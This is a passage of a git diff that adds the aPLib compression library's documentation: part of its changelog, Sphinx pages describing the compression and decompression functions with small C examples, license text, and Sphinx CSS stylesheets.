been tested with Linux, BeOS and + QNX. Modified the C example to work under these operating systems too. + +**v0.32** + Discovered some mixups between different versions of the examples .. + started rewriting some of them. Added a header to the files created by + most of the examples. + +**v0.31** + Improved compression ratio a little. + +**v0.30** + Fixed a bug in one of the 16bit depackers, thx to Peter Hegel! + + Updated the C/C++ example. + +**v0.29** + Updated the Ada example, thx to Gautier! + + I have removed the 'b' from the version number. + +**v0.28b** + Updated the 16bit depacker examples, thx to METALBRAIN! + + Renamed the SRC/C depacker files. + +**v0.27b** + Fixed a bug which could cause :c:func:`aP_pack()` to read one byte past + the input buffer. + +**v0.26b** * + Added Visual C++ and Borland C examples. + + Rewrote the example program, so there is only a single source file, which + works with BCC32, DJGPP, VC++ and Watcom. + + Added an import library for Visual C++ in ``lib/dll``, and an example of + how to use it (``examples/c/make_dll.bat``). + + The libraries now include the function :c:func:`aP_workmem_size()`, which + given the input size returns the amount of memory required for the work + buffer (you still have to allocate it yourself). This should make + upgrading easier in case I change the memory requirement in a later + version. At the moment the function simply returns 640k. + +**v0.25b** + Added a TMT Pascal example, thx to Oleg Prokhorov! + + Moved the Ada and VPascal examples to the example dir. + + Updated the documentation. + +**v0.24b** + Updated the 16bit depacker examples, thx to METALBRAIN! + + Made all assembler depackers smaller, thx to TAD and METALBRAIN! + +**v0.23b** + Recompiled with the latest VC++ and DJGPP versions. + + Did a few speed optimisations -- most versions should be a little faster. + +**v0.22b** * + Improved the compression speed a little more. + + Cleaned up the code, which made the library somewhat smaller. + + Added a C depacker. + + Silent update: Updated the 16bit depackers - thx to METALBRAIN. There is + still one problem with the 16bit example depackers, but it will be fixed + for the next release. + +**v0.21b** + Improved compression ratio and speed. + + Added Ada support by Gautier - thx! + + Reduced the memory requirement from 1mb to 640k -- which should be enough + for anybody ;). + +**v0.20b** * + Added Delphi support and example by Alexey Solodovnikov - thx! + + Rewrote the aPPack example, removing some errors, and added 16bit + depackers - thx to METALBRAIN! + + Removed a lot of unneeded information from the object files. + + Rearranged all the folders -- hope it's not too confusing ;). + + Removed all the example binaries from this file, and made them available + in a separate file instead. + + Added the real aPACK / aPLib homepage URL, since home.ml.org was down for + a period. + +**v0.19b** * + Fixed a little mem bug (hopefully), thx to ANAKiN! + + Ratio improved a little on large files. + + Finally got around to updating my DJGPP installation :) + + NOTE!! I have revised the license conditions -- please read APLIB.DOC. + +**v0.18b** * + Added the new VPascal interfacing code by Veit Kannegieser. + + Added a library compiled for VC. + + Worked a little on the depackers. + +**v0.17b** * + NOTE!! the callback function now has to return a value. This is to make it + possible for the callback function to abort the packing without exiting + the program. If the callback returns ``1``, :c:func:`aP_pack()` will + continue -- if it returns ``0``, :c:func:`aP_pack()` will stop and return + ``0``. + + The aPACK / aPLib homepage is now up on: apack.home.ml.org + + I have not gotten the new VPascal interfacing code from Veit yet, so I + will add it again in the next version :) + + Since I have added so much new stuff, I am releasing this version to get + some feedback (hint!), to find out where to go from here. If you have + Visual C++, Borland C++, Borland C++ Builder, Visual Basic, Delphi or + other 32-bit compilers/linkers, I am very interested in any problems you + might have using aPLib (especially the DLL version). + +**v0.16b** + NOTE!! :c:func:`aP_pack()` NO LONGER allocates the memory it needs itself. + This was changed because otherwise you would need to supply malloc and + free functions to the packer. Now you just call :c:func:`aP_pack()` with a + pointer to 1mb of mem. This is also faster if you compress multiple sets + of data, because mem is not allocated and deallocated every time. + + Added new VPascal interfacing code by Veit Kannegieser - thx! + + Added DOS32 and TLINK32 (Win32 PE) example code and executables. + + Also added a DLL version of aPLib, and some example code for it. By the + way -- the DLL version works fine as a wdl file for WDOSX! + + Speeded up the fast depackers a tiny bit. + +**v0.15b** + Quite a few people have pointed out to me that AR was not the cleverest + library format to use, so I changed to OMF format, which works with (at + least) Watcom, DOS32 and TASM32/TLINK32. + + Added assembler depackers for TASM and WASM, and added the fast assembler + depacker for NASM. + + The Watcom and DJGPP libraries now also contain compiled versions of + :c:func:`aP_depack_asm()` and :c:func:`aP_depack_asm_fast()`, and the + ``APDEPACK.H`` files with the inline assembler versions have been removed. + +**v0.14b** * + Made some minor enhancements to the packer - ratio is a little better. + + Added depacking code for NASM, converted by Archee/CoNTRACT - thx! + +**v0.13b** + Added depacking code for Pascal (Virtual Pascal), converted by Veit + Kannegieser - thx! + + Switched to AR format for the Watcom library. + +**v0.12b** * + Changed the libraries to make them C-compatible. + +**v0.11b** + :c:func:`aP_depack_asm_fast()` is a little faster. + +**v0.10b** * + Compression is a little faster :) + +**v0.09b** + Compression is a little better :) + +**v0.08b** * + First release version of aPLib :) + +**v0.07b** + Fixed a bug that gave errors when compressing multiple sets of data (thx + x-otic!). + + Cleaned up the code a little. + +**v0.06b** + Changed the packer, so it uses a fixed amount of mem (about 1 meg). + + A few bugs fixed. + +**v0.05b** + First version of the aPLib library included. + +**v0.04b** + Added the DJGPP fast asm unpacker. + +**v0.03b** + Optimised the depacker a little. + +**v0.02b** + Second try ;-P + +**v0.01b** + First try! + +Project started March 5th 1998. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/compression.txt b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/compression.txt new file mode 100644 index 0000000..f4b3a50 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/compression.txt @@ -0,0 +1,102 @@ + +Compression +=========== + +The following is a description of the aPLib compression functionality. + + +Compression Functions +--------------------- + +.. c:function:: size_t aP_pack(const void *source, void *destination, \ + size_t length, void *workmem, \ + int (*callback)(size_t, size_t, size_t, void *), \ + void *cbparam) + + Compress *length* bytes of data from *source* to *destination*, using + *workmem* as temporary storage. + + The *destination* buffer should be large enough to hold + ``aP_max_packed_size(length)`` bytes. + + The *workmem* buffer should be ``aP_workmem_size(length)`` bytes large. + + The callback function, *callback*, must take four parameters. The first is + *length*, the second is the number of input bytes that has been + compressed, the third is how many output bytes they have been compressed + to, and the fourth is *cbparam*. If you do not have a callback, use + ``NULL`` instead. If the callback returns a non-zero value then + :c:func:`aP_pack()` will continue compressing -- if it returns zero, + :c:func:`aP_pack()` will stop and return ``APLIB_ERROR``. + + :param source: pointer to data to be compressed + :param destination: pointer to where compressed data should be stored + :param length: length of uncompressed data in bytes + :param workmem: pointer to work memory used during compression + :param callback: pointer to callback function (or ``NULL``) + :param cbparam: callback argument + :return: length of compressed data, or ``APLIB_ERROR`` on error + +.. c:function:: size_t aP_workmem_size(size_t input_size) + + Compute required size of *workmem* buffer used by :c:func:`aP_pack()` for + compressing *input_size* bytes of data. + + The current code always returns 640k (640*1024). + + :param input_size: length of uncompressed data in bytes + :return: required length of work buffer + +.. c:function:: size_t aP_max_packed_size(size_t input_size) + + Compute maximum possible compressed size when compressing *input_size* + bytes of incompressible data. + + The current code returns ``(input_size + (input_size / 8) + 64)``. + + :param input_size: length of uncompressed data in bytes + :return: maximum possible size of compressed data + + +Safe Wrapper Functions +---------------------- + +.. c:function:: size_t aPsafe_pack(const void *source, void *destination, \ + size_t length, void *workmem, \ + int (*callback)(size_t, size_t, size_t, void *), \ + void *cbparam) + + Wrapper function for :c:func:`aP_pack()`, which adds a header to the + compressed data containing the length of the original data, and CRC32 + checksums of the original and compressed data. + + :param source: pointer to data to be compressed + :param destination: pointer to where compressed data should be stored + :param length: length of uncompressed data in bytes + :param workmem: pointer to work memory used during compression + :param callback: pointer to callback function (or ``NULL``) + :param cbparam: callback argument + :return: length of compressed data, or ``APLIB_ERROR`` on error + + .. seealso:: :c:func:`aP_pack()` + + +Example +------- + +.. code-block:: c + + /* allocate workmem and destination memory */ + char *workmem = malloc(aP_workmem_size(length)); + char *compressed = malloc(aP_max_packed_size(length)); + + /* compress data[] to compressed[] */ + size_t outlength = aPsafe_pack(data, compressed, length, workmem, NULL, NULL); + + /* if APLIB_ERROR is returned, and error occured */ + if (outlength == APLIB_ERROR) { + printf("An error occured!\n"); + } + else { + printf("Compressed %u bytes to %u bytes\n", length, outlength); + } diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/decompression.txt b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/decompression.txt new file mode 100644 index 0000000..17d6e39 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/decompression.txt @@ -0,0 +1,158 @@ + +Decompression +============= + +The following is a description of the aPLib decompression functionality. + + +Decompression Functions +----------------------- + +.. c:function:: size_t aP_depack(const void *source, void *destination) + + Decompress compressed data from *source* to *destination*. + + The *destination* buffer must be large enough to hold the decompressed + data. + + :param source: pointer to compressed data + :param destination: pointer to where decompressed data should be stored + :return: length of decompressed data, or ``APLIB_ERROR`` on error + + .. note:: + This function is not included in the libraries, but is available in + ``src/c/depack.c``. :c:func:`aP_depack_asm_fast()` can be used + instead. + +.. c:function:: size_t aP_depack_safe(const void *source, size_t srclen, \ + void *destination, size_t dstlen) + + Decompress compressed data from *source* to *destination*. + + This function reads at most *srclen* bytes from *source*, and writes + at most *dstlen* bytes to *destination*. If there is not enough + source or destination space, or a decoding error occurs, the function + returns ``APLIB_ERROR``. + + :param source: pointer to compressed data + :param srclen: size of source buffer in bytes + :param destination: pointer to where decompressed data should be stored + :param dstlen: size of destination buffer in bytes + :return: length of decompressed data, or ``APLIB_ERROR`` on error + + .. note:: + This function is not included in the libraries, but is available in + ``src/c/depacks.c``. :c:func:`aP_depack_asm_safe()` can be used + instead. + +.. c:function:: size_t aP_depack_asm(const void *source, void *destination) + + Decompress compressed data from *source* to *destination*. + + The *destination* buffer must be large enough to hold the decompressed + data. + + Optimised for size. + + :param source: pointer to compressed data + :param destination: pointer to where decompressed data should be stored + :return: length of decompressed data, or ``APLIB_ERROR`` on error + + +.. c:function:: size_t aP_depack_asm_fast(const void *source, \ + void *destination) + + Decompress compressed data from *source* to *destination*. + + The *destination* buffer must be large enough to hold the decompressed + data. + + Optimised for speed. + + :param source: pointer to compressed data + :param destination: pointer to where decompressed data should be stored + :return: length of decompressed data, or ``APLIB_ERROR`` on error + +.. c:function:: size_t aP_depack_asm_safe(const void *source, size_t srclen, \ + void *destination, size_t dstlen) + + Decompress compressed data from *source* to *destination*. + + This function reads at most *srclen* bytes from *source*, and writes + at most *dstlen* bytes to *destination*. If there is not enough + source or destination space, or a decoding error occurs, the function + returns ``APLIB_ERROR``. + + :param source: pointer to compressed data + :param srclen: size of source buffer in bytes + :param destination: pointer to where decompressed data should be stored + :param dstlen: size of destination buffer in bytes + :return: length of decompressed data, or ``APLIB_ERROR`` on error + + .. seealso:: :c:func:`aPsafe_depack()` + +.. c:function:: unsigned int aP_crc32(const void *source, size_t length) + + Compute CRC32 value of *length* bytes of data from *source*. + + :param source: pointer to data to process + :param length: size in bytes of data + :return: CRC32 value + + +Safe Wrapper Functions +---------------------- + +.. c:function:: size_t aPsafe_check(const void *source) + + Compute CRC32 of compressed data in *source* and check it against value + stored in header. Return length of decompressed data stored in header. + + :param source: compressed data to process + :return: length of decompressed data, or ``APLIB_ERROR`` on error + +.. c:function:: size_t aPsafe_get_orig_size(const void *source) + + Return length of decompressed data stored in header of compressed data in + *source*. + + :param source: compressed data to process + :return: length of decompressed data, or ``APLIB_ERROR`` on error + +.. c:function:: size_t aPsafe_depack(const void *source, size_t srclen, \ + void *destination, size_t dstlen) + + Wrapper function for :c:func:`aP_depack_asm_safe`, which checks the CRC32 + of the compressed data, decompresses, and checks the CRC32 of the + decompressed data. + + :param source: pointer to compressed data + :param srclen: size of source buffer in bytes + :param destination: pointer to where decompressed data should be stored + :param dstlen: size of destination buffer in bytes + :return: length of decompressed data, or ``APLIB_ERROR`` on error + + .. seealso:: :c:func:`aP_depack_asm_safe()` + + +Example +------- + +.. code-block:: c + + /* get original size */ + size_t orig_size = aPsafe_get_orig_size(compressed); + + /* allocate memory for decompressed data */ + char *data = malloc(orig_size); + + /* decompress compressed[] to data[] */ + size_t outlength = aPsafe_depack(compressed, compressed_size, data, orig_size); + + /* check decompressed length */ + if (outlength != orig_size) { + printf("An error occured!\n"); + } + else { + printf("Decompressed %u bytes\n", outlength); + } diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/general.txt b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/general.txt new file mode 100644 index 0000000..176f7f7 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/general.txt @@ -0,0 +1,111 @@ + +General Information +=================== + + +Introduction +------------ + +aPLib is a compression library based on the algorithm used in aPACK (my 16-bit +executable packer). aPLib is an easy-to-use alternative to many of the +heavy-weight compression libraries available. + +The compression ratios achieved by aPLib combined with the speed and tiny +footprint of the decompressors (as low as 169 bytes!) makes it the ideal +choice for many products. + +Since the first public release in 1998, aPLib has been one of the top pure +LZ-based compression libraries available. It is used in a wide range of +products including executable compression and protection software, archivers, +games, embedded systems, and handheld devices. + + +Compatibility +------------- + +The aPLib package includes pre-compiled libraries in a number of formats +(COFF, ELF, OMF). + +No standard library functions are used, so the libraries can work with most +x86/x64 compilers, as long as the name decoration and calling conventions +match. + +The ELF folders contain a version of aPLib which uses PIC to allow it to be +linked into shared libraries on linux. + + +Thread-safety +------------- + +All compression and decompression functions are thread-safe. + + +Using aPLib +----------- + +For C/C++ you simply include ``aplib.h`` and link with the appropriate library +for your compiler. If you only need to decompress data, or if you modify the +decompression code, you can compile and link with one of the decompression +implementations in the ``src`` folder. + +For other languages you can either check if there is a useable example, or use +the DLL version. Most linkers allow calling C functions in an external +library, so usually there is a way to use one of the libraries. + +aPLib performs memory-to-memory compression and decompression, so getting data +into an input buffer and allocating an output buffer is your responsibility. + +All functions return ``APLIB_ERROR`` (which is ``-1``) if an error occurs. + +Attempting to compress incompressible data can lead to expansion. You can get +the maximum possible coded size by passing the size of the input to the +function :c:func:`aP_max_packed_size()`. + +When calling :c:func:`aP_pack()` you have to supply a work buffer. You can get +the required size of this buffer by passing the size of the input to the +function :c:func:`aP_workmem_size()` (in the current version this function +always returns 640k). + +If you do not have a callback for :c:func:`aP_pack()`, you can pass ``NULL`` +(i.e. ``0``) instead. The callback functionality allows your program to keep +track of the compression progress, and if required to stop the compression. + +:c:func:`aP_depack()`, :c:func:`aP_depack_asm()`, and +:c:func:`aP_depack_asm_fast()` assume that they are given valid compressed +data -- if not they will most likely crash. This is to ensure that the basic +decompression code is as small, fast and easy to understand as possible. You +can use :c:func:`aP_depack_safe()` or :c:func:`aP_depack_asm_safe()` if you +need to catch decompression errors. Also the safe wrapper functions provide a +nice interface that helps prevent potential crashes. + + +Safe Wrapper Functions +---------------------- + +Starting with aPLib v0.34, there are additional functions included which +provide a better way of handling the compressed data in the example, and also +serve as an example of how to add functionality through function wrappers. + +The :c:func:`aPsafe_pack()` and :c:func:`aPsafe_depack()` functions are +wrappers for their regular ``aP_`` counterparts, which add a header to the +compressed data. This header includes a tag, information about the compressed +and decompressed size of the data, and CRC32 values for the compressed and +decompressed data. + +The ``example`` folder contains a simple command line packer that uses aPLib +to compress and decompress data. The ``aPsafe_`` functions are used in this +example, because they provide extra functionality like retrieving the original +size of compressed data. + + +Contact Information +------------------- + +If you have any questions, suggestions or bug-reports about aPLib, please feel +free to contact me by e-mail at: + + contact@ibsensoftware.com + +You can get the latest version of aPLib and my other software at: + + http://www.ibsensoftware.com/ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/index.txt b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/index.txt new file mode 100644 index 0000000..4109a11 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/index.txt @@ -0,0 +1,23 @@ + +Welcome to the aPLib documentation! +=================================== + +aPLib is a compression library based on the algorithm used in aPACK (my 16-bit +executable packer). aPLib is an easy-to-use alternative to many of the +heavy-weight compression libraries available. + +The compression ratios achieved by aPLib combined with the speed and tiny +footprint of the decompressors (as low as 169 bytes!) makes it the ideal +choice for many products. + +Contents: + +.. toctree:: + :maxdepth: 2 + + license + general + compression + decompression + acknowledgements + changes diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/license.txt b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/license.txt new file mode 100644 index 0000000..a35dc46 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_sources/license.txt @@ -0,0 +1,42 @@ +.. include:: + +License +======= + +aPLib is freeware. If you use aPLib in a product, an acknowledgement would be +appreciated, e.g. by adding something like the following to the documentation: + + | This product uses the aPLib compression library, + | Copyright |copy| 1998-2014 Joergen Ibsen, All Rights Reserved. + | For more information, please visit: http://www.ibsensoftware.com/ + +You may not redistribute aPLib without all of the files. + +You may not edit or reverse engineer any of the files (except the header +files and the decompression code, which you may edit as long as you do not +remove the copyright notice). + +You may not sell aPLib, or any part of it, for money (except for charging for +the media). + +``#ifndef COMMON_SENSE`` + + This software is provided "as is". In no event shall I, the author, be + liable for any kind of loss or damage arising out of the use, abuse or + the inability to use this software. USE IT ENTIRELY AT YOUR OWN RISK! + + This software comes without any kind of warranty, either expressed or + implied, including, but not limited to the implied warranties of + merchantability or fitness for any particular purpose. + + If you do not agree with these terms or if your jurisdiction does not + allow the exclusion of warranty and liability as stated above you are NOT + allowed to use this software at all. + +``#else`` + + Bla bla bla .. the usual stuff - you know it anyway: + + If anything goes even remotely wrong - blame _yourself_, NOT me! + +``#endif`` diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/ajax-loader.gif b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/ajax-loader.gif new file mode 100644 index 0000000..61faf8c Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/ajax-loader.gif differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/basic.css b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/basic.css new file mode 100644 index 0000000..967e36c --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/basic.css @@ -0,0 +1,537 @@ +/* + * basic.css + * ~~~~~~~~~ + * + * Sphinx stylesheet -- basic theme. + * + * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS. + * :license: BSD, see LICENSE for details. + * + */ + +/* -- main layout ----------------------------------------------------------- */ + +div.clearer { + clear: both; +} + +/* -- relbar ---------------------------------------------------------------- */ + +div.related { + width: 100%; + font-size: 90%; +} + +div.related h3 { + display: none; +} + +div.related ul { + margin: 0; + padding: 0 0 0 10px; + list-style: none; +} + +div.related li { + display: inline; +} + +div.related li.right { + float: right; + margin-right: 5px; +} + +/* -- sidebar --------------------------------------------------------------- */ + +div.sphinxsidebarwrapper { + padding: 10px 5px 0 10px; +} + +div.sphinxsidebar { + float: left; + width: 230px; + margin-left: -100%; + font-size: 90%; +} + +div.sphinxsidebar ul { + list-style: none; +} + +div.sphinxsidebar ul ul, +div.sphinxsidebar ul.want-points { + margin-left: 20px; + list-style: square; +} + +div.sphinxsidebar ul ul { + margin-top: 0; + margin-bottom: 0; +} + +div.sphinxsidebar form { + margin-top: 10px; +} + +div.sphinxsidebar input { + border: 1px solid #98dbcc; + font-family: sans-serif; + font-size: 1em; +} + +div.sphinxsidebar #searchbox input[type="text"] { + width: 170px; +} + +div.sphinxsidebar #searchbox input[type="submit"] { + width: 30px; +} + +img { + border: 0; + max-width: 100%; +} + +/* -- search page ----------------------------------------------------------- */ + +ul.search { + margin: 10px 0 0 20px; + padding: 0; +} + +ul.search li { + padding: 5px 0 5px 20px; + background-image: url(file.png); + background-repeat: no-repeat; + background-position: 0 7px; +} + +ul.search li a { + font-weight: bold; +} + +ul.search li div.context { + color: #888; + margin: 2px 0 0 30px; + text-align: left; +} + +ul.keywordmatches li.goodmatch a { + font-weight: bold; +} + +/* -- index page ------------------------------------------------------------ */ + +table.contentstable { + width: 90%; +} + +table.contentstable p.biglink { + line-height: 150%; +} + +a.biglink { + font-size: 1.3em; +} + +span.linkdescr { + font-style: italic; + padding-top: 5px; + font-size: 90%; +} + +/* -- general index --------------------------------------------------------- */ + +table.indextable { + width: 100%; +} + +table.indextable td { + text-align: left; + vertical-align: top; +} + +table.indextable dl, table.indextable dd { + margin-top: 0; + margin-bottom: 0; +} + +table.indextable tr.pcap { + height: 10px; +} + +table.indextable tr.cap { + margin-top: 10px; + background-color: #f2f2f2; +} + +img.toggler { + margin-right: 3px; + margin-top: 3px; + cursor: pointer; +} + +div.modindex-jumpbox { + border-top: 1px solid #ddd; + border-bottom: 1px solid #ddd; + margin: 1em 0 1em 0; + padding: 0.4em; +} + +div.genindex-jumpbox { + border-top: 1px solid #ddd; + border-bottom: 1px solid #ddd; + margin: 1em 0 1em 0; + padding: 0.4em; +} + +/* -- general body styles --------------------------------------------------- */ + +a.headerlink { + visibility: hidden; +} + +h1:hover > a.headerlink, +h2:hover > a.headerlink, +h3:hover > a.headerlink, +h4:hover > a.headerlink, +h5:hover > a.headerlink, +h6:hover > a.headerlink, +dt:hover > a.headerlink { + visibility: visible; +} + +div.body p.caption { + text-align: inherit; +} + +div.body td { + text-align: left; +} + +.field-list ul { + padding-left: 1em; +} + +.first { + margin-top: 0 !important; +} + +p.rubric { + margin-top: 30px; + font-weight: bold; +} + +img.align-left, .figure.align-left, object.align-left { + clear: left; + float: left; + margin-right: 1em; +} + +img.align-right, .figure.align-right, object.align-right { + clear: right; + float: right; + margin-left: 1em; +} + +img.align-center, .figure.align-center, object.align-center { + display: block; + margin-left: auto; + margin-right: auto; +} + +.align-left { + text-align: left; +} + +.align-center { + text-align: center; +} + +.align-right { + text-align: right; +} + +/* -- sidebars -------------------------------------------------------------- */ + +div.sidebar { + margin: 0 0 0.5em 1em; + border: 1px solid #ddb; + padding: 7px 7px 0 7px; + background-color: #ffe; + width: 40%; + float: right; +} + +p.sidebar-title { + font-weight: bold; +} + +/* -- topics ---------------------------------------------------------------- */ + +div.topic { + border: 1px solid #ccc; + padding: 7px 7px 0 7px; + margin: 10px 0 10px 0; +} + +p.topic-title { + font-size: 1.1em; + font-weight: bold; + margin-top: 10px; +} + +/* -- admonitions ----------------------------------------------------------- */ + +div.admonition { + margin-top: 10px; + margin-bottom: 10px; + padding: 7px; +} + +div.admonition dt { + font-weight: bold; +} + +div.admonition dl { + margin-bottom: 0; +} + +p.admonition-title { + margin: 0px 10px 5px 0px; + font-weight: bold; +} + +div.body p.centered { + text-align: center; + margin-top: 25px; +} + +/* -- tables ---------------------------------------------------------------- */ + +table.docutils { + border: 0; + border-collapse: collapse; +} + +table.docutils td, table.docutils th { + padding: 1px 8px 1px 5px; + border-top: 0; + border-left: 0; + border-right: 0; + border-bottom: 1px solid #aaa; +} + +table.field-list td, table.field-list th { + border: 0 !important; +} + +table.footnote td, table.footnote th { + border: 0 !important; +} + +th { + text-align: left; + padding-right: 5px; +} + +table.citation { + border-left: solid 1px gray; + margin-left: 1px; +} + +table.citation td { + border-bottom: none; +} + +/* -- other body styles ----------------------------------------------------- */ + +ol.arabic { + list-style: decimal; +} + +ol.loweralpha { + list-style: lower-alpha; +} + +ol.upperalpha { + list-style: upper-alpha; +} + +ol.lowerroman { + list-style: lower-roman; +} + +ol.upperroman { + list-style: upper-roman; +} + +dl { + margin-bottom: 15px; +} + +dd p { + margin-top: 0px; +} + +dd ul, dd table { + margin-bottom: 10px; +} + +dd { + margin-top: 3px; + margin-bottom: 10px; + margin-left: 30px; +} + +dt:target, .highlighted { + background-color: #fbe54e; +} + +dl.glossary dt { + font-weight: bold; + font-size: 1.1em; +} + +.field-list ul { + margin: 0; + padding-left: 1em; +} + +.field-list p { + margin: 0; +} + +.optional { + font-size: 1.3em; +} + +.versionmodified { + font-style: italic; +} + +.system-message { + background-color: #fda; + padding: 5px; + border: 3px solid red; +} + +.footnote:target { + background-color: #ffa; +} + +.line-block { + display: block; + margin-top: 1em; + margin-bottom: 1em; +} + +.line-block .line-block { + margin-top: 0; + margin-bottom: 0; + margin-left: 1.5em; +} + +.guilabel, .menuselection { + font-family: sans-serif; +} + +.accelerator { + text-decoration: underline; +} + +.classifier { + font-style: oblique; +} + +abbr, acronym { + border-bottom: dotted 1px; + cursor: help; +} + +/* -- code displays --------------------------------------------------------- */ + +pre { + overflow: auto; + overflow-y: hidden; /* fixes display issues on Chrome browsers */ +} + +td.linenos pre { + padding: 5px 0px; + border: 0; + background-color: transparent; + color: #aaa; +} + +table.highlighttable { + margin-left: 0.5em; +} + +table.highlighttable td { + padding: 0 0.5em 0 0.5em; +} + +tt.descname { + background-color: transparent; + font-weight: bold; + font-size: 1.2em; +} + +tt.descclassname { + background-color: transparent; +} + +tt.xref, a tt { + background-color: transparent; + font-weight: bold; +} + +h1 tt, h2 tt, h3 tt, h4 tt, h5 tt, h6 tt { + background-color: transparent; +} + +.viewcode-link { + float: right; +} + +.viewcode-back { + float: right; + font-family: sans-serif; +} + +div.viewcode-block:target { + margin: -1px -10px; + padding: 0 10px; +} + +/* -- math display ---------------------------------------------------------- */ + +img.math { + vertical-align: middle; +} + +div.body div.math p { + text-align: center; +} + +span.eqno { + float: right; +} + +/* -- printout stylesheet --------------------------------------------------- */ + +@media print { + div.document, + div.documentwrapper, + div.bodywrapper { + margin: 0 !important; + width: 100%; + } + + div.sphinxsidebar, + div.related, + div.footer, + #top-link { + display: none; + } +} \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-bright.png b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-bright.png new file mode 100644 index 0000000..551517b Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-bright.png differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-close.png b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-close.png new file mode 100644 index 0000000..09b54be Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-close.png differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment.png b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment.png new file mode 100644 index 0000000..92feb52 Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment.png differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/default.css b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/default.css new file mode 100644 index 0000000..5f1399a --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/default.css @@ -0,0 +1,256 @@ +/* + * default.css_t + * ~~~~~~~~~~~~~ + * + * Sphinx stylesheet -- default theme. + * + * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS. + * :license: BSD, see LICENSE for details. + * + */ + +@import url("basic.css"); + +/* -- page layout ----------------------------------------------------------- */ + +body { + font-family: sans-serif; + font-size: 100%; + background-color: #11303d; + color: #000; + margin: 0; + padding: 0; +} + +div.document { + background-color: #1c4e63; +} + +div.documentwrapper { + float: left; + width: 100%; +} + +div.bodywrapper { + margin: 0 0 0 230px; +} + +div.body { + background-color: #ffffff; + color: #000000; + padding: 0 20px 30px 20px; +} + +div.footer { + color: #ffffff; + width: 100%; + padding: 9px 0 9px 0; + text-align: center; + font-size: 75%; +} + +div.footer a { + color: #ffffff; + text-decoration: underline; +} + +div.related { + background-color: #133f52; + line-height: 30px; + color: #ffffff; +} + +div.related a { + color: #ffffff; +} + +div.sphinxsidebar { +} + +div.sphinxsidebar h3 { + font-family: 'Trebuchet MS', sans-serif; + color: #ffffff; + font-size: 1.4em; + font-weight: normal; + margin: 0; + padding: 0; +} + +div.sphinxsidebar h3 a { + color: #ffffff; +} + +div.sphinxsidebar h4 { + font-family: 'Trebuchet MS', sans-serif; + color: #ffffff; + font-size: 1.3em; + font-weight: normal; + margin: 5px 0 0 0; + padding: 0; +} + +div.sphinxsidebar p { + color: #ffffff; +} + +div.sphinxsidebar p.topless { + margin: 5px 10px 10px 10px; +} + +div.sphinxsidebar ul { + margin: 10px; + padding: 0; + color: #ffffff; +} + +div.sphinxsidebar a { + color: #98dbcc; +} + +div.sphinxsidebar input { + border: 1px solid #98dbcc; + font-family: sans-serif; + font-size: 1em; +} + + + +/* -- hyperlink styles ------------------------------------------------------ */ + +a { + color: #355f7c; + text-decoration: none; +} + +a:visited { + color: #355f7c; + text-decoration: none; +} + +a:hover { + text-decoration: underline; +} + + + +/* -- body styles ----------------------------------------------------------- */ + +div.body h1, +div.body h2, +div.body h3, +div.body h4, +div.body h5, +div.body h6 { + font-family: 'Trebuchet MS', sans-serif; + background-color: #f2f2f2; + font-weight: normal; + color: #20435c; + border-bottom: 1px solid #ccc; + margin: 20px -20px 10px -20px; + padding: 3px 0 3px 10px; +} + +div.body h1 { margin-top: 0; font-size: 200%; } +div.body h2 { font-size: 160%; } +div.body h3 { font-size: 140%; } +div.body h4 { font-size: 120%; } +div.body h5 { font-size: 110%; } +div.body h6 { font-size: 100%; } + +a.headerlink { + color: #c60f0f; + font-size: 0.8em; + padding: 0 4px 0 4px; + text-decoration: none; +} + +a.headerlink:hover { + background-color: #c60f0f; + color: white; +} + +div.body p, div.body dd, div.body li { + text-align: justify; + line-height: 130%; +} + +div.admonition p.admonition-title + p { + display: inline; +} + +div.admonition p { + margin-bottom: 5px; +} + +div.admonition pre { + margin-bottom: 5px; +} + +div.admonition ul, div.admonition ol { + margin-bottom: 5px; +} + +div.note { + background-color: #eee; + border: 1px solid #ccc; +} + +div.seealso { + background-color: #ffc; + border: 1px solid #ff6; +} + +div.topic { + background-color: #eee; +} + +div.warning { + background-color: #ffe4e4; + border: 1px solid #f66; +} + +p.admonition-title { + display: inline; +} + +p.admonition-title:after { + content: ":"; +} + +pre { + padding: 5px; + 